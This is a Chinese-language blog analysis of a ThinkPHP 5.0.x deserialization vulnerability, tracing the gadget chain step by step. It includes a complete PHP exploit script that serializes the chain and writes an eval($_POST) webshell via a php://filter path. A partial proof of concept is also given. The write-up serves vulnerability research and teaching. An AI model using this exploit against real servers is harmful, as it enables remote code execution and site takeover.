Thinkphp5.0.x反序列化分析

漏洞复现

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
<?php

//__destruct
namespace think\process\pipes{
class Windows{
private $files=[];

public function __construct($pivot)
{
$this->files[]=$pivot; //传入Pivot类
}
}
}

//__toString Model子类
namespace think\model{
class Pivot{
protected $parent;
protected $append = [];
protected $error;

public function __construct($output,$hasone)
{
$this->parent=$output; //$this->parent等于Output类
$this->append=['a'=>'getError'];
$this->error=$hasone; //$modelRelation=$this->error
}
}
}

//getModel
namespace think\db{
class Query
{
protected $model;

public function __construct($output)
{
$this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
}
}
}

namespace think\console{
class Output
{
private $handle = null;
protected $styles;
public function __construct($memcached)
{
$this->handle=$memcached;
$this->styles=['getAttr'];
}
}
}

//Relation
namespace think\model\relation{
class HasOne{
protected $query;
protected $selfRelation;
protected $bindAttr = [];

public function __construct($query)
{
$this->query=$query; //调用Query类的getModel

$this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
$this->bindAttr=['a'=>'admin']; //控制__call的参数$attr
}
}
}

namespace think\session\driver{
class Memcached{
protected $handler = null;

public function __construct($file)
{
$this->handler=$file; //$this->handler等于File类
}
}
}

namespace think\cache\driver{
class File{
protected $options = [
'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'cache_subdir'=>false,
'prefix'=>'',
'data_compress'=>false
];
protected $tag=true;


}
}

namespace {
$file=new think\cache\driver\File();
$memcached=new think\session\driver\Memcached($file);
$output=new think\console\Output($memcached);
$query=new think\db\Query($output);
$hasone=new think\model\relation\HasOne($query);
$pivot=new think\model\Pivot($output,$hasone);
$windows=new think\process\pipes\Windows($pivot);

echo urlencode(serialize($windows));
}

写入成功

1
http://localhost/public/a.php3b58a9545013e88c7186db11bb158c44.php

fekia4.png

文件内容

fekFIJ.png

利用链分析

  1. thinkphp/library/think/process/pipes/Windows.php __destruct 调用removeFiles
  2. removeFiles,调用file_exists触发__toString
  3. thinkphp/library/think/Model.php __tostring->toJson->toArray 最终调用__call
  4. thinkphp/library/think/console/Output.php __call 调用Output类的block
  5. thinkphp/library/think/console/Output.php block调用writeIn->write,最后调用$this->handle->write(),全局搜索write方法
  6. thinkphp/library/think/session/driver/Memcached.php write方法调用$this->handle->set(),全局搜索set
  7. thinkphp/library/think/cache/driver/File.php set调用file_put_contents写入文件,但是参数不可控,继续进入setTagItem
  8. setTagItem再次调用set,此时参数可控,写入webshell

1.thinkphp/library/think/process/pipes/Windows.php

起点:__destruct

调用removeFiles方法

feFh8I.png

2.thinkphp/library/think/process/pipes/Windows.php

removeFiles中调用了file_exists,触发__toString

feFoKf.png

3.thinkphp/library/think/Model.php

__toString->toJson->toArray:

执行到$item[$key] = $value ? $value->getAttr($attr) : null;就能够执行Output类__call魔术方法

feF42t.png

feF5xP.png

详细看toArray

执行到$item[$key] = $value ? $value->getAttr($attr) : null;就能够执行Output类__call魔术方法

需要让$value等于Output类

需要满足条件进入else分支

  1. $this->append不为空
  2. $bindAttr

feFTr8.png

$value是包含__call方法的类,也就是Output类,$attr是传入的参数。来看一下$value和$attr的来源

$value变量来源

$value的赋值过程

1
2
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

让$relation等于Model类的getError(),这样$modelRelation就等于$this->error,$modelRelation可控

feFbVg.png

进入getRelationData,传入的$modelRelation必须是Relation类型,全局搜索找到符合要求的类HasOne

需要满足三个条件进入if分支,才能使$value可控,等于$this->parent

1
$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)

feF7qS.png

第一个条件:$this->parent就是$value的来源,等于Output类

来看一下如何满足第二个条件

1
!$modelRelation->isSelfRelation()

HasOne类是OneToOne类的子类,同样继承了Relation

/thinkphp/library/think/model/Relation.php

isSelfRelation方法,需要让$this->selfRelation为false

feFXPs.png

第三个条件,需要让$modelRelation->getModel()返回Output类

1
get_class($modelRelation->getModel()) == get_class($this->parent)

/thinkphp/library/think/model/Relation.php

Relation的getModel方法可以调用任意类的getModel方法,全局搜索getModel()

feFjGn.png

/thinkphp/library/think/db/Query.php

Query类的getModel方法直接返回$this->model,让model属性等于output就可以了

feFv2q.png

$attr的来源

$modelRelation必须是一个有getBindAttr方法且bindAttr属性可控的类,全局搜索存在getBindAttr方法的类

feFqaQ.png

/thinkphp/library/think/model/relation/OneToOne.php

找到符合要求的类OneToOne,上面已经用了它的子类HasOne,所以直接改HasOne的bindAttr属性就行

feFL5j.png

先构造部分poc,目的是成功调用到Output类的__call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

//__destruct
namespace think\process\pipes{
class Windows{
private $files=[];

public function __construct($pivot)
{
$this->files[]=$pivot; //传入Pivot类
}
}
}

//__toString Pivot是Model子类
namespace think\model{
class Pivot{
protected $parent;
protected $append = [];
protected $error;

public function __construct($output,$hasone)
{
$this->parent=$output; //$this->parent等于Output类
$this->append=['a'=>'getError'];
$this->error=$hasone; //$modelRelation=$this->error=Hasone类
}
}
}

//getModel
namespace think\db{
class Query
{
protected $model;

public function __construct($output)
{
$this->model=$output; //$modelRelation->getModel()等于Output类
}
}
}

//__call
namespace think\console{
class Output
{
public function __construct()
{

}
}
}

//HasOne类继承自Relation
namespace think\model\relation{
class HasOne{
protected $query;
protected $selfRelation;
protected $bindAttr = [];

public function __construct($query)
{
$this->query=$query; //调用Query类的getModel

$this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
$this->bindAttr=['a'=>'a']; //控制__call的参数$attr
}
}
}

namespace {
$output=new think\console\Output();

$query=new think\db\Query($output);

$hasone=new think\model\relation\HasOne($query);
$pivot=new think\model\Pivot($output,$hasone);
$windows=new think\process\pipes\Windows($pivot);

echo urlencode(serialize($windows));
}

成功调用了Output类的__call

fekSMV.png

4./thinkphp/library/think/console/Output.php

Output类的__call,调用block方法

feFyDO.png

5./thinkphp/library/think/console/Output.php

Output类的block方法调用了writeIn,$message就是HasOne类的属性bindAttr数组的值,是可控的。格式如下

1
<getAttr>admin</getAttr>

feFsKK.png

feFxx0.png

6./thinkphp/library/think/console/Output.php

Output类的writeIn方法调用了write方法,$this->handle可控,可以调用任意类的write方法。全局搜索write方法

fek9qU.png

7.thinkphp/library/think/session/driver/Memcached.php

找到Memcached类的write方法,可以调用任意类的set方法,全局搜索set方法

fekprT.png

8.thinkphp/library/think/cache/driver/File.php

最后找到File类,set方法中可以调用file_put_contents方法写入shell。

第一个参数$name是从block方法那里传入的,还是

1
<getAttr>admin</getAttr>

第二个参数$value固定为false

feFgVe.png

文件名$filename来源于getCacheKey,实际上等于

1
$filename = $this->options['path'] . md5($name) . '.php';

也就是

1
$filename = $this->options['path'] . md5('<getAttr>admin</getAttr>') . '.php';

可以通过$this->options[‘path’]控制文件名

feF6bD.png

还有个问题,文件内容不可控。

$data来自于set方法的参数$value,而$value的值固定为true,而且$expire只能为数值,

feF2UH.png

9.thinkphp/library/think/cache/driver/File.php

继续执行进入setTagItem,再次调用set,两个参数都可控了

feFR5d.png

现在第一个参数$name等于

1
'tag_' . md5($this->tag);

$value就是上面的$filename

1
$value=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php

利用php://filter的convert.iconv和convret.base64-decode绕过拼接的exit(),写入webshell

原理见:https://xz.aliyun.com/t/7457

fekPZF.png

一共会写入两个文件,第一个文件内容不可控,第二个才是webshell

1
a.php3b58a9545013e88c7186db11bb158c44.php

总结

实际测试在5.0.24和5.0.18可用,5.0.9不可用

要点:

  1. Model类的__toString调用Output类的__call的条件
  2. 二次调用set实现内容可控
  3. 用过滤器绕过文件名和exit()

借用文章里的图总结一下

fekAi9.png

参考

https://xz.aliyun.com/t/7457

https://www.anquanke.com/post/id/196364

https://xz.aliyun.com/t/7082